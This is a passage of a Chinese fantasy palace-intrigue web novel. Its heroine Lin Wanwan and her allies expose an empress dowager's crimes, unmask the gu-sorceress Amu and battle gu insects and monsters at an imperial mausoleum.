“三,命钦天监监正,速速推演天象,查明蛊灾根源。”
“四,宗人府协同礼部,安抚受惊宗亲大臣,护送他们回府。”
一道道旨意快速下大,看似有条不紊,实则充满了仓促和欲盖弥彰的意味。
封锁皇陵?
是怕里面的真相泄露!
太医待命?
是怕蛊虫再蔓延危及自身!
钦天监推算?
怕不是又要找一个“荧惑灾星”,将这场祸事推给虚无缥缈的天命!
林绾绾冷眼看着皇帝表演,心知肚明。
赫连灼悄然来到林绾绾身边,琥珀色的眼眸里满是决绝:“封锁无用!蛊源在地宫。不若我们趁这个机会攻进去,捣毁魔窟!我亲率狼山卫…”
“不可!”林绾绾不待赫连灼把话说完,便打断他。
“皇陵乃大胤禁地,重兵把守,机关重重。强攻不仅师出无名,更会引发两国战端,说不定正中皇帝下怀。并且…”
林绾绾看向皇陵方向,眉头紧缩,“蛊虫几次外泄,里面情况不明,贸然闯入,恐伤亡惨重。”
“那难道就看着那些无辜妇孺在里面受尽折磨?看着蛊虫一再外泄、蔓延,危害苍生?”
赫连灼低吼,手在身侧紧握成拳。
“当然不!”林绾
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绾的声音斩钉截铁。
她看向混乱人群中被侍卫重重保护、却依旧瑟瑟发抖、眼神涣散的太后,眼中闪过锐利的光,“源头在皇陵,但入口的秘密…还在宫里!”
******
慈宁宫。
门窗紧闭,厚厚的帘幕低垂,隔绝了外界的一切光线和响动。
殿内只点着几盏昏暗的宫灯,光线跳跃不定,将那些华贵的摆设投射出扭曲怪诞的影子。
浓郁的檀香也压不住那股弥漫在空气中的、源自灵魂深处的恐惧气息。
太后蜷缩在宽大的凤榻深处,身上裹着厚厚的锦被,却依旧抖得如同风中的落叶。
她枯瘦的手指死死攥着那串紫檀佛珠,指节泛白,口中语无伦次地反复念叨着:
“金昙花来了…她来了…索命来了…”
“宸妃…不是我害的你…是那花…啊啊啊!”
“别过来!别过来!”
她猛地将佛珠砸了出去。
珠子四散崩落,发出噼里啪啦的脆响。
宫女太监跪了一地,瑟瑟发抖,无人敢上前。
太医战战兢兢地诊脉,却也都束手无策。
太厚这分明是惊吓过度,心魔爆发,诱发了严重癔症!
此刻药石难医!
皇帝萧胤脸色铁青的站在殿中。
他看着自己母亲如此癫狂失态的模样,眼中没有半分关切,只有浓得化不开的厌烦!
这老东西,关键时刻只会添乱!
她知道的太多了!
那些陈年旧事,那些关于金昙花和宸妃的秘密…
“母后!你清醒一点!”
皇帝萧胤上前一步,声音里满是压抑的怒火和警告。
“都是二十多年前的旧事了!现在当务之急是你好好打起精神来,朕还要去处理皇陵…”
“皇陵?!”
太后如同被踩了尾巴的猫,布满血丝的眼睛瞪得溜圆。
她死死盯着皇帝,状若疯癫,又哭又笑。
“是你!你就是个魔鬼!你们引来了报应!蛊虫…蛊虫爬出来了,它们会吃了所有人!吃了你!吃了我!哈哈哈…报应啊!”
第130章 太后失魂
慈宁宫内。
皇帝萧胤的脸色阴沉得可怕,厉喝一声:“住口!”
就在这时!
“太后娘娘心神失守,邪祟缠身。”
一个清冷悦耳的声音在殿门口响起。
林绾绾在萧景珩的陪同下,缓步走了进来。
她依旧是一身素净的月白常服,发髻间那朵冰魄金昙在昏暗的灯光下流转着清冷的光晕,如同黑暗中唯一的光源。
她的目光平静地扫过癫狂的太后和暴怒的皇帝,最后落在地上那些散落的佛珠上。
“是你!妖女,都是你把金昙花带来的!是你引来了宸妃的冤魂!是你!”
太后看到林绾绾和她发间的金昙,如同看到了世间最恐怖的景象,歇斯底里地尖叫起来。
她随手抓起手边的玉枕就砸向林绾绾的方向。
萧景珩身影微动,玄袖一拂,玉枕便轻巧地落在一边。
林绾绾恍若未见太后的癫狂,步履从容地走到凤榻前,声音不高,却带着奇异的穿透力,清晰地传入太后混乱的脑海。
“太后娘娘,金丝昙花,生于北漠圣湖之畔,吸收日月精华,本是天地间至纯至净的祥瑞,它何辜?”
“宸妃娘娘,温婉良善,又何辜?”
“真正招来邪祟、引来报应的,是人心之恶,是以那圣物为媒介,以人命为祭品的邪蛊!”
林绾绾的话,如同带着某种魔力,让太后疯狂挥舞的手臂猛地一僵!
浑浊的眼睛死死盯着林绾绾,里面翻涌着惊疑,恐惧,以及被戳穿隐秘的茫然。
“你…你知道什么了?”
太后声音嘶哑,如同破旧的风箱。
“我知道金丝昙花的真正秘密!”
林绾绾的声音不急不缓,目光却锐利如刀,直刺太后灵魂深处。
“有人以金昙花为引,将一种名为‘蚀心蚁’的邪蛊虫卵,悄然植入那朵献给宸妃娘娘的金昙花中。”
“宸妃娘娘酷爱金昙,常将此花置于案头…那蛊虫卵就借助金昙花散发的气息为掩护,悄无声息地钻入宸妃娘娘口鼻…”
随着林绾绾的叙述,太后脸上的肌肉剧烈地抽搐起来,眼神开始慢慢变得涣散,仿佛陷入了回忆中。
她似乎又看到了那个午后,宸妃笑容明媚地精心照料着那盆金昙…
看到了宸妃日渐憔悴,心口绞痛,夜不能寐…
看到了宸妃最终七窍流血,皮肤浮现紫黑斑块,在极度痛苦中香消玉殒!
而自己,则在她咽气后,迫不及待地扑上去,从她紧握的手中,夺走了那半枚温热染血的金昙同心玉佩…
“不…不是我!是那花!是那花自己招蛊!”
太后抱着头,发出哀嚎,“是她说,能炼成长生蛊…能保我儿皇位永固…让我永享尊荣…是她!都是她逼我的!”
她猛地指向虚空,仿佛那里站着一个无形的魔鬼,声音充满了怨毒和推卸责任的疯狂!
巨大的恐惧和崩溃击垮了太后最后一丝理智。
“啊啊啊——!鬼!你是鬼!宸妃!云渊!你们别来找我!玉佩…玉佩我藏起来了…我没有给皇帝…没给…”
“那‘圣血骨胎’是失败的…是怪物…别过来!别过来!”
太后语无伦次地尖叫着,双手疯狂地撕扯着自己的头发和衣襟,身体剧烈地抽搐。
挣扎间,她猛地喷出一口暗褐色的污血,腥臭扑鼻!
随即双眼翻白,直挺挺向后倒去,彻底陷入深度昏迷。
“母后!”
皇帝萧胤脸色剧变,扑到榻前,眼中却飞快掠过如释重负的阴狠。
老东西终于闭嘴了!
继而转头,厉声吼道:“太医!快救太后!北漠圣女!若太后有任何不测,朕唯你是问!”
皇帝借机将所有矛头都指向了林绾绾。
太医连滚带爬地上前施救,手忙脚乱。
林绾绾则站在原地,冷冷地看着眼前这场闹剧。
太后的崩溃和最后的呓语,如同惊雷,炸响在耳边。
虽然语焉不详,但“害死宸妃”,“夺走玉佩”,“怪物”…这些关键词组合在一起,还是指向一个令人毛骨悚然的真相。
萧景珩脸色冰冷如霜,垂在身侧的手紧握成拳,滔天的恨意在他胸中翻
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涌!
赫连灼站在殿门口,眼中同样是熊熊怒火!
“陛下!”林绾绾的声音打破了死寂,“太后娘娘癔症发作,邪祟入体,非药石可救。其体内怨毒阴邪之气已深,方才吐出的黑血便是明证!”
“若想保太后性命,需以金丝昙花为引,配合我九转玲珑针法,驱邪扶正。”
“否则…恐有性命之忧!”
林绾绾的话,如同最后的通牒。
金丝昙花!
太后视若堵水猛兽的邪物,此刻却成了唯一能救命的“药引”!
皇帝萧胤猛地抬头,眼神淬毒一般,死死盯着林绾绾和她发髻上的冰魄金昙。
这妖女!
她是在逼迫自己,在众目睽睽之下承认金昙花并非禁忌,而是救命的圣物!
皇帝胸口剧烈起伏,手指陷入掌心,几乎要掐出血来。
殿内一片死寂。
所有宫人太监都屏住了呼吸,惊恐地看着对峙的双方,就怕被卷入这场漩涡,殃及自身。
“准!”为了自己的名声,皇帝不得不妥协。
在这场没有硝烟的战场上,终究是林绾绾占据了上方。
“陛下!皇陵急报!”
一名浑身浴血的禁军卫冲进慈宁宫内,声音满是极致的恐惧。
“蛊虫…蛊虫已经突破外围封锁线!数量太多了,禁军跟巡防营死伤惨重!”
“最可怕的是,还有一群行动僵硬,皮肤青紫溃烂的“人”跟着蛊虫一起作乱!”
“他们刀枪不入,力大无穷,见人就咬!被咬伤的兄弟们药石无灵,全都**!这群怪物已经朝着京城方向来了!”
萧景珩三人听后大惊!
听他描述,怎么跟鹰嘴峡**他们的东西,那么像。
只是能力却强上许多!
这个消息,成了压垮皇帝的最后一根稻草!
他精心布置的一切,在这一刻被彻底撕碎。
他仿佛看到了铺天盖地的蛊虫和狰狞的蛊人吞噬京城,将他拖入地狱的景象。
“噗--!”
急怒攻心之下,皇帝最终喷出一口鲜血,身体摇摇欲坠!
第131章 入陵前夕
慈宁宫。
皇帝急火攻心,一个踉跄。
内侍见状,急忙惊恐地上前搀扶住他。
萧景珩一步上前,抓住时机,带着掌控全局的力量。
“陛下龙体违和,当安心静养!皇陵蛊灾,关乎社稷存亡!儿臣请旨,即刻率领京畿戍卫营,并请北漠狼主相助,前往皇陵平乱!肃清蛊源!”
他没有给皇帝任何选择的余地!
这既是通知!也是宣告!
皇帝捂着剧痛的胸口,眼睛微微眯起,透出危险的目光。
看着眼前已经脱离自己掌控的儿子,以及殿内外隐约传来的恐慌喧嚣,一股巨大的无力感淹没了他。
萧胤心中火速盘算着。
以现在巡防营跟禁军的力量,已经无法控制蛊虫外溢的危险。
倒不如让他的好儿子去冲锋陷阵。
一来可以看清萧景珩的实力,二来也是时候给那个蛊婆婆一点教训。
“准…准奏…”
皇帝的声音嘶哑虚弱,似乎带着无尽的“疲惫”。
他用尽了全身的力气挥了挥手,示意殿内的人退下。
“儿臣领旨!”
萧景珩躬身行礼,声音铿锵有力。
当他的视线转向林绾绾时,目光瞬间变得深沉而复杂。
皇陵内,凶险万分,他实在不想让心爱的女人跟着他一起再次涉险。
林绾绾却似是读懂了萧景珩的想法,坦然迎上他的目光。
她眼神坚定如磐石,对着萧景珩浮出一个让他心安的笑容,然后轻轻摇了摇头。
她发髻上的冰魄金昙,随着她的动作流转微光,仿佛在跟她一起无声地宣告:
为了母亲,为了宸妃,也为了天下的百姓!
为所有枉死的冤魂,也为这即将被蛊虫吞噬的苍生!
她的战场,在那里!她必须去!
“赫连灼!”
萧景珩读懂了林绾绾的眼神,转而看向北漠狼主,声音带着决绝的战意。
“你可敢率你的狼山卫,随孤一起去清剿蛊毒,踏平皇陵?”
赫连灼闻言,眼中爆发出炽热的金芒。
他抚上腰间金刀刀柄,声音如同金铁交鸣:“有何不敢?”
“北漠的勇士,早已渴望用敌人和邪祟的鲜血,洗刷王庭的耻辱!那我们就一起踏平蛊虫,诛杀邪魔!”
就在这时,一直昏迷的太后在太医和林绾绾的急救下,竟幽幽转醒。
她浑浊不清的目光扫过殿内,最后死死定格在林绾绾发间那朵金昙上。
眼中没有了之前的疯狂怨毒,只剩下一种死寂的、带着无尽悔恨的迷茫。
太后嘴唇翕动,发出微弱的,如同诅咒的声音:
“金昙同心佩,合则生,分则亡…那是宸妃临死前以血下的诅咒…谁碰谁不得好死…”
话音未落,她头一歪,再次陷入深度昏迷。
这模糊不清的呓语,如同毒咒,为大家的皇陵之行,蒙上了一层诡异不详的血色阴影。
******
圣女别苑,温泉室内。
皇陵之行,迫在眉睫,肃杀的气氛笼罩着别苑。
然而在这方氤氲着暖雾的天地里,却流淌着一种无声的温情。
林绾绾褪去外袍,浸泡在温热的泉水中。
她放松心神,流转力量。
不知是否因为近期心神激荡,或者是力量透支,力量运行时,一阵阵尖锐的刺痛蔓延至四肢百骸。
她的脸色变得有些许惨白,额角慢慢渗出细密的冷汗。
水声轻响,萧景珩也踏入池中。
他身上仅着贴身的黑色绸裤,流畅而充满爆发力的肌肉线条在朦胧的水汽中若隐若现。
锁骨下方那枚与林绾绾遥相呼应的火焰印记,此刻也灼热异常。
它散发着微弱的赤芒,仿佛也在应和着林绾绾的不适。
他走到林绾绾的身后,没有言语,而是伸出双臂,从背后将她整个人拥入怀中。
宽阔温热的胸膛紧贴着林绾绾冰凉汗湿的背脊,下颌轻轻抵住她柔软的发顶。
“绾绾,别逞强。”
低沉的声音在林绾绾耳边响起,灼热的呼吸喷洒在她敏感的耳垂上。
林绾绾身体微僵,随即在萧景珩坚实的怀抱中放松下
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来。
身后传来的力量和体温,如同最可靠的港湾,让紧绷的神经稍稍舒缓。
林绾绾闭上眼,感受着男人强有力的心跳透过背脊传来。
一下,一下,一下,沉稳有力!
萧景珩开始运转自己的力量,缓缓贴上林绾绾心口位置。
玄冥寒气如同汩汩冰泉,从他掌心源源不断地注入林绾绾灼痛的印记中。
“绾绾…”萧景珩嗓音低哑地唤着爱人的名字。
声音里充满了压抑的渴望和一种深沉的决绝:“明日…一定要跟紧我!”
他的吻落在林绾绾颈后的敏感处,带来一阵强烈的酥麻。
林绾绾身体微僵,然后转身,反手环住萧景珩劲瘦的腰身,指尖无意识划过他背后紧实的肌肉,留下细微的红痕。
“我会的。”
林绾绾的声音细若蚊呐,带着羞涩,却无比坚定。
冰冷的寒气舒缓了噬心的灼痛,带来一阵战栗般的舒适感。
林绾绾身体不自觉地向萧景珩怀里缩了缩,寻找更多的慰藉。
这无意识的依赖,如同火星落入干柴。
萧景珩怀着林绾绾的手臂收紧,将她更紧地禁锢在自己的怀中。
两人在温热的泉水中紧紧相拥,冰与火的力量在他们紧密的贴合中完美交融、循环,抚平着伤痛,壮大着力量,也点燃压抑已久的情潮。
这一刻,没有阴谋,没有仇恨,只有彼此的心跳和体温,以及一种悲壮而缠绵的默契。
萧景珩的吻从轻触变得更加炽烈,带着一种近乎绝望的占有欲。
他的一只手依旧放在林绾绾心口处,维持着力量的循环,另一只手,却在林绾绾光滑的背脊上游移,最终停留在她纤细的腰肢处,缓缓摩挲。
然而,这份短暂的宁静并没有持续多久,急促的脚步声在外响起。
“圣女!公子!狼主说有要事相商!”
“北漠暗桩传回绝密消息,是关于当年圣公主被逼离王庭的真正元凶,以及蛊婆婆的**!”
这消息如同冰锥,狠狠刺入温泉氤氲的暖意之中。
第132章 身份暴露
北漠暗桩以三条人命的代价,从王庭叛徒心腹的临终忏悔中,撬开了尘封二十年的秘密。
“当年逼迫你娘,也就是圣公主赫连云渊离开王庭、流落大胤的元凶,并非只有赫连苍玄!”
赫连灼的声音带着压抑到极致的愤怒,琥珀色的眼眸在昏暗的密室灯光下燃烧着熊熊烈焰。
“还有一个人!一个深藏在圣公主身边的毒蛇!”
“她与圣公主一同长大,深得圣公主信任,却早就背叛——这个人就是圣公主的贴身侍女,阿慕!”
“阿慕?”
林绾绾心头一震!
这个名字…母亲曾经提到过,她也好像有点印象。
是小时候那个照顾过她,总是低眉顺眼、沉默寡言,后来重病不治的侍女!
“正是!”
赫连灼拳头捏得咯咯作响。
“此人精通药理,心思缜密,极善伪装!”
“当初,她陪着圣公主在北漠,一直在她身边照顾,长期在圣公主的饮食中混入了极其微量的‘冰魄散’。”
“冰魄散,此物性极寒,无色无味,单独使用只会让人体虚畏寒。但若配合上北漠灼热的环境,日积月累,便会悄然侵蚀心脉,造成‘心脉不足’的假象。”
“圣公主后来接受圣湖洗礼时,受不了圣泉的寒气侵蚀,又加上赫连苍玄在一旁的煽风点火,最终只能远走大胤,隐姓埋名!”
“这所有的事情,皆是这毒妇的一手策划,目的就是将圣公主赶离北漠,让她失去金昙王庭的庇佑!”
原来如此!
林绾绾只觉得一股寒气从脊椎窜起。
难怪父母双亲医术高绝,但母亲自她有记忆时,还是一直体弱多病!
难怪她自己从出生起也是身带寒毒!
这一切,竟始于母亲身边亲近之人的背叛!
“可是,这个阿慕,在我很小的时候就已经重病去世了!难道…”林绾绾似是想明白了什么。
“没错!”赫连灼的声音如同来自九幽寒冰,“这阿慕,应该是用假死来了一次金蝉脱壳。”
“父王还有长老们,根据我描述蛊婆婆驱使蛊虫的习惯和手法…已经确认了!阿慕,就是那个蛊婆婆!”
林绾绾和萧景珩瞳孔骤然收缩。
蛊婆婆!
那个操纵了林月瑶,炼制腐尸瘟蛊,协助太后在慈宁宫秘库豢养蚀心蚁,为皇帝搜刮紫河车的金昙王庭的叛徒…
她还逼得母亲远离故乡,飘零在外,让自己身染寒毒…
阿慕!
滔天的恨意,瞬间席卷了林绾绾!
林绾绾的身体微微晃了一下。
锦盒内被封禁的玉佩内,蚀心蚁仿佛感应到她剧烈波动的情绪,疯狂躁动起来。
心口印记传来的灼痛如同烈火燎原。
“绾绾!”
萧景珩反应极快,一把扶住林绾绾摇摇欲坠的身体。
他温热的手掌紧紧握住林绾绾冰凉的手。
一股精纯温和的玄冥寒气涌入,压制住了林绾绾心口的灼痛和翻腾的气血。
萧景的眼神越发冰冷刺骨,带着毫不掩饰的杀意。
原来这条串联起所有悲剧的毒瘤,源头竟然在此处!
“所以…”
林绾绾强行稳住心神,声音微微颤抖地看向赫连灼。
“她逼走我母亲,是为了投靠大胤的皇帝?是为了…长生?”
“恐怕不仅如此。”
赫连灼眼中闪烁着洞悉的光芒。
“据那个心腹供述交代,阿慕对圣公主,有一种近乎病态的嫉妒和怨恨!”
“她嫉恨圣公主高贵的血统和美貌,怨恨圣公主能得到所有所有人的关注…”
“她选择投靠大胤皇帝,助其炼制长生蛊,除了换取权势富贵,恐怕…更是为了摧毁圣公主的一切!包括…她的生命,她的亲人,她的爱人,她的女儿…”
摧毁圣公主的一切!
蛊婆婆对她毫无缘由的恶意,在这一刻终于有了答案!
匹夫无罪,怀璧其罪!
那不仅是奉命行事,更是源于扭曲灵魂深处最肮脏的嫉妒与仇恨!
别苑内,死一般的寂静。
只有烛火噼啪作响,映照着几人眼中翻腾的怒火与杀意。
迷雾被拨开的一
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角,让他们更坚定了去到皇陵内,手刃仇人的决心。
******
皇陵。
残阳如血。
绵延起伏的皇家陵寝被染成一片触目惊心的暗红。
肃穆庄严的石像沐浴在血色光辉中,平添了几分狰狞诡谲。
空气中弥漫着浓烈的血腥味、腐臭味和一种令人头皮发麻的、无数细小口齿摩擦的“沙沙”声。
封锁线已然崩溃。
临时构筑的土墙和壕沟被硬生生冲破。
残肢断臂与破碎的兵刃散落一地,上面满是指甲盖大小、通体呈现黑紫色,张牙舞爪的蛊虫。
更远处,十几具肢体扭曲变形,行动怪异的“人”,正漫无目的地游荡着。
它们的动作僵硬,关节发出“咔嚓”声,空洞的眼窝里没有任何神采。
他们就是被蛊虫操控的傀儡!
“放箭!快放箭!”
一名幸存的巡防营校尉声嘶力竭地怒吼,声音里满是哭腔。
稀稀落落的箭矢射向那些怪物,却如同射中钢铁一般,大部分被它们坚韧的皮肤弹开。
少量射入体内的,也只是让他们动作微微一滞,丝毫没有阻碍着他们蹒跚着逼近这边的步伐。
刀枪砍在它们身上,也收效甚微。
绝望在残存的士兵中蔓延。
就在这时。
“列阵!火油准备!”
一声带着无上威严的厉和划破血腥的空气。
只见通往皇陵的通道上,三骑当先,疾驰而来!
当先一人,玄衣墨发,身姿挺拔如渊,正是太子萧景珩。
他的左侧,林绾绾一身素白劲装,长发高束,发间那朵冰魄金昙在血色残阳下流转着清冷圣洁的光晕,如同黑暗中的灯塔。
他的右侧,赫连灼一身北漠狼主战甲,手持金刀,琥珀色的眼眸燃烧着熊熊战意!
他们身后跟着的,是由杀气冲霄的血鸦卫伪装的禁军精锐,以及赫连灼带来的彪悍勇猛的狼山卫队。
“是太子殿下跟圣女殿下!”
绝望中的士兵如同看到了救星,爆发出绝后余生的呼喊!
第133章 血色残阳
“将士们,听令!”
萧景珩勒住战马,声音如同金铁交鸣,清晰地传入每个人耳中。
“蛊虫惧火!怪物的关节脆弱!”
“用火油罐,火箭覆盖蛊虫密集区!”
“重盾在前,长矛手居中,专攻怪物膝、肘、脖颈关节!刀斧手在后,斩首!”
“速战速决,清理入口!”
“得令!”
战士们齐声怒吼,声震四野!
他们训练有素,瞬间分成数队。
盾牌手举起厚重的包铁巨盾,组成坚固的防线,将残存的巡防营士兵护在身后。
长矛手手持数丈余长的精铁长矛,矛尖闪烁着寒光。
数十名身后矫健的“禁军”则背负着特制的火油罐和**,如同猎豹般散开。
“放!”
随着萧景珩一声令下,“咻咻咻”数十支尾部燃烧着火焰的**箭,如同流星般射向那些涌动的紫黑色蛊虫潮!
同时,灌满火油的陶罐被大力投掷出去,在蛊虫最密集的区域轰然炸裂!
浓稠的火油四溅。
烈焰冲天而起!
刺鼻的焦臭味瞬间弥漫!
无数蛊虫在火海中发出“噼啪”的爆响,随即化为飞灰。
火焰形成一堵愤怒的火墙,暂时遏制了蛊虫潮的蔓延!
“吼--!”
那些被火焰刺激的怪物发出意义不明的嘶吼,更加疯狂地扑向盾阵。
“刺!”
长矛手怒吼,数丈长的精铁长矛出洞,带着破风声,精准无比地刺向怪物的膝关节、肘关节,以及相对脆弱的脖颈!
“咔嚓,咔嚓!”
骨骼碎裂声不绝于耳。
怪物动作一滞,失去平衡,轰然倒地!
但它们的生命力极其顽强,依旧挥舞着乌黑尖锐的爪子,试图撕扯盾牌和矛杆。
“斩!”
刀斧手从盾牌缝隙中悍然冲出!
沉重的战斧、锋利的弯刀,带着千钧之力,狠狠劈向倒地的药人脖颈!
“噗嗤!噗嗤!”
污血混合着腥臭的脓液喷溅!
一颗颗狰狞的头颅滚落在地。
失去头颅的怪物,残躯抽搐几下之后,终于不再动弹。
林绾绾并未直接参与厮杀。
她策马立于相对安全的区域,迅速扫视着混乱的战场。
但她的注意力更多集中在那些被怪物抓伤、咬伤的士兵身上。
士兵受伤的伤口溃烂速度极快,紫黑色的毒素沿着血管不停蔓延。
伤者痛苦哀嚎,皮肤下仿佛有活物在蠕动。
“青蚨!把带来的木桶抬上来!把药材撒进去!”
林绾绾语速极快地下令。
数名“禁军”迅速抬来数个巨大的木桶,倒入早已准备好的艾草、苦参、蛇床子…等驱虫辟秽的药材。
“受伤者,立刻剥掉他们染毒衣物,有伤口的部位浸入药汤。”
林绾绾翻身下马,快步走到一个伤势最重、半边身体都已发紫溃烂的士兵面前。
那士兵眼神已经涣散,口中不断涌出黑血,显然毒素已经侵入脏腑。
“圣女…救我…”
士兵眼中充满了绝望的哀求。
“别放弃!”林绾绾眼神坚定,迅速取出九转玲珑针。
她出手如电!
第一针,直刺头顶百会穴!
针入三分,轻捻导气,护住灵台,延缓毒气攻心!
第二针,第三针,刺入内关穴!
针入五分,强心通脉,稳住心脉!
接着,膻中穴,足三里穴!宽胸理气,健运脾胃。
最后,在士兵溃烂流脓的伤口周围,在合谷穴,曲池穴,血海穴等穴位下针!
针尾急速震颤。
林绾绾指尖萦绕着微弱的冰火之气,强行导入伤者体内,冲刷、逼退那霸道诡异的蛊毒。
士兵发出痛苦的嘶吼,身体剧烈颤抖,伤口处流出大量腥臭的黑血和粘稠的脓液。
但随着污秽排出,士兵脸上的青紫以肉眼可见的速度开始消退。
涣散的眼神也恢复了一丝清明。
“快!将他浸入药汤!”
林绾绾迅速收针,指挥“禁军”战士将士兵抬入滚烫的药桶中。
药汤的刺激让士兵再次惨叫,但伤口流出的液体却慢慢由黑转红。
“此法,可暂时
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压制蛊毒蔓延,清除体表虫卵!但侵入肺腑之毒,需要事后用《天医策》秘法根除!”
林绾绾一边快速救治下一个伤者,一边对围拢过来的医官们解释。
她手法娴熟,每一针都带着救死扶伤的专注和神圣,在血与火的修罗场中,开辟出一方生命的绿洲。
残存的巡防营士兵看着圣女如同神祇般的身影,看着她不惜耗费心力和能量救治他们这些普通士卒,眼中充满了狂热的感激和崇敬!
士气大振!
萧景珩和赫连灼挥动着手中的宝剑和金刀,加入战斗,在怪物中搏杀。
剑影簌簌,金刀嗡鸣。
萧景珩在怪物群中几个飞落,脚尖一点,身形倒掠,剑尖在空中挽出银花。
银花闪过,怪物的前臂被生生削下。
赫连灼贴地几个翻滚,刀背磕地,借反震之力腾空而起,刀锋朝上,将冲到他跟前的怪物一劈为二。
半空之中,剑光先到,如惊鸿掠影。
刀光紧随,似怒涛拍岸。
怪物愈发狂暴,攻击的力量更甚。
萧景珩长剑疾颤,剑光碎成万千银鳞,将靠近的怪物震远数丈!
赫连灼刀背猛拍地面,沙浪翻涌,化作一道土墙,拦住怪物离开的脚步!
刀罡凝成巨刃,自上而下劈落,剑影同时贴地滑出,剑尖拖出一条银线,直取怪物头颅。
二人配合默契,所过之处,是腥臭的脓血溅射!
一个个怪物被斩杀于他们二人手下!
在狼山卫和“禁军”们的悍勇搏杀和林绾绾高效救治的双重作用下,入口处的混乱局面终于被逐渐控制。
蛊虫潮被火焰压制,怪物被逐一斩杀,伤者也得到了及时救治。
血色残阳下,满目疮痍的战场上,唯有三道身影,如同定海神针,屹立不倒!
然而,众人的目光,还都是不约而同地投向皇陵深处。
那巨大而阴森的、被藤蔓和诡异符文半掩埋的皇陵入口…
那里,连接地宫的地方,才是真正的人间炼狱!
蛊虫和怪物的源头!
…还有,皇帝长生的核心!
第134章 皇陵地宫
皇陵门口,众人就地休整中。
萧景珩看了看林绾绾和其他人的状态,心下大安。
总算是用最小的损失,取得了胜利。
萧景珩趁着众人休息间,向赫连灼和林绾绾使了个眼色。
三人在河边**。
“我的人已经找到地宫入口了,我打算带一支精锐去探查情况。待我查明状态,我们再一起行动!”
萧景珩语气略微沉重。
“要行动就一起!万一遇到蛊毒,咱们之中相信只有我才能解决!”
林绾绾不同意萧景珩的做法,语气中满是拒绝。
“没错,要行动就一起!”赫连灼在一旁应声道。
见二人如此坚持,萧景珩不再规劝,安排好人照顾保护伤员,迅速开始行动!
萧景珩一行三人,带着一支精锐小队,来到地宫巨大石门前。
“皇陵地势复杂。我的人经过这些年的调查才找到这地宫入口。但这里有奇门遁甲守护,强攻恐触发更可怕的机关。”
萧景珩虽然说得轻描淡写,但是所有血鸦阁暗卫都知道,他们是**多少兄弟,才探知到了入口。
一行人仔细观察着地宫入口上面繁复扭曲的纹路和几个不起眼的凹槽。
林绾绾也在四处仔细探索。
心口处放置那个封禁的玉佩突然传来一阵剧烈的悸动!
仿佛与地宫深处某种东西产生了强烈的共鸣!
她强忍着不适,目光落在了石门中央一个莲花状的凹槽上。
那凹槽的形状…
竟与她手中的那半枚金昙同心佩边缘的纹路隐隐相合。
“进去的钥匙,或许就是这个…”
林绾绾取出贴身收藏的玄铁盒,拿出那枚温润却邪异的玉佩。
玉佩核心处那如同呼吸般的金色流光,此刻异常明亮,散发出温热。
赫连灼看着那玉佩,眼神复杂。
这个北漠王庭的信物,实在是沾染了太多的血腥和诅咒。
“合则生…分则亡…”
太后昏迷前的呓语在林绾绾脑海中回响。
她深吸一口气,将玉佩小心翼翼地放入石门中央的莲花凹槽。
严丝合缝!
玉佩嵌入的瞬间,整个巨大的石门猛地一震,发出低沉的嗡鸣。
石门表面那些扭曲的符文仿佛活了过来,流淌起幽暗的光芒。
紧接着,“咔嚓”几声轻响,从地底深处传来。
“退后!”
萧景珩厉喝一声,一把将林绾绾拉到自己身边,玄冥劲气瞬间外放,形成一道无形的屏障。
就在众人紧张注视下。
那扇沉重的、仿佛亘古未开的巨大石门,竟无声无息地向内缓缓滑开,露出深不见底的、散发着浓烈腐臭和血腥气息的黑暗甬道。
一股阴冷刺骨,带着浓烈邪异能量的风,猛地从甬道深处倒灌而出。
地宫,开启了!
然而,就在石门完全洞开的刹那——
“桀桀桀——!”
一阵如同夜枭啼哭,又似金铁摩擦的刺耳怪笑声,猛地从众人头顶的峭壁上传来。
笑声中充满了怨毒、疯狂和一种掌控一切的得意。
所有人都悚然抬头!
地陵入口上方,一块突兀的鹰嘴岩上,赫然矗立着一道佝偻枯瘦的身影。
她披着宽大的、绣满扭曲蛊虫图案的黑色斗篷,兜帽下露出半张布满浓疮和疤痕、如同恶鬼般的脸!
右手枯瘦如鸡爪的手背上,一道道狰狞的狼爪疤痕清晰可见!
她左手拄着一根扭曲的蛇头骨杖,右手高高举起。
她的腰间赫然挂着另外金昙同心佩。
那玉佩同样流转着暗金色的光芒,与她周身气息呼应,散发出不详的感觉。
“你就是蛊婆婆,阿暮!我娘从小一起长大的侍女!”
林弯弯确认道。
“不错!是我!看来你已经知道我的**了!”
“赫连云渊的女儿!赫连苍的儿子!还有赫连明月的儿子!人都到齐了!”
“你们这些碍事的蝼蚁!”
蛊婆婆的声音嘶哑尖锐,如同毒蛇吐信,语气中充满了刻骨的恨意。
“你们以为拿到那半块玉佩就能打开地宫?就能阻碍长生圣蛊现世?做梦!”
她拽下腰间玉佩,疯狂挥动着,骨杖指向洞开的地宫入口,发出歇斯底里的尖啸。
“你们这么想进去,就
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都给我进去吧!进去成为我圣蛊的最后祭品!用你们的血肉和绝望,为我的长生之路铺就阶梯!”
“桀桀桀——!”
随着蛊婆婆疯狂的尖啸,地宫深处传来更加密集、更加令人毛骨悚然的“沙沙”声和沉重的脚步声!
仿佛有无数的蛊虫和更强大的怪物,正被唤醒,朝着入口汹涌而来。
与此同时,蛊婆婆手中的那半枚玉佩骤然爆发出刺眼的血光!
一股强烈的、充满恶意的吸扯之力猛地传来。
林绾绾手中那枚被封禁的玉佩也开始疯狂震动,她心口的灼痛感瞬间加剧。
玉佩隐隐有要脱离她的掌控,飞向蛊婆婆方向的趋势!
“呃…”
林绾绾闷哼一声,脸色瞬间煞白,身体不受控制地向前踉跄一步。
“绾绾!”
萧景珩眼疾手快,一把将她紧紧揽入怀中,同时另一只手闪电般探出,死死按在她心口位置!
精纯的玄冥寒气如同怒涛般涌入,强行舒缓林绾绾心口印记的躁动。
“妖妇!受死!”
赫连灼目眦欲裂,怒吼一声,反手摘下背后强弓,搭上三支催着幽蓝寒光的破甲箭!
弓如满月,箭似流星!
带着撕裂空气的厉啸,直射上峭壁上的蛊婆婆。
蛊婆婆怪笑一声,身影如同鬼魅般一晃,竟险之又险地避开两支致命的箭矢!
第三支箭擦着她的斗篷飞过,带起一片破碎的布片。
“想杀我?先陪我的宝贝们玩玩吧!”
她猛地将手中的骨杖狠狠插入脚下的岩石。
杖首的蛇头空洞的眼窝中,骤然亮起两点渗人的绿光。
“嘶嘶——!”
峭壁的缝隙中,无数色彩斑斓、形态狰狞的毒蛇如同潮水般涌出。
吐着猩红的信子,如同道道致命的利箭,朝着下方的众人飞射扑来!
更可怕的是,地宫入口内,那令人头皮发麻的“沙沙”声已近在咫尺。
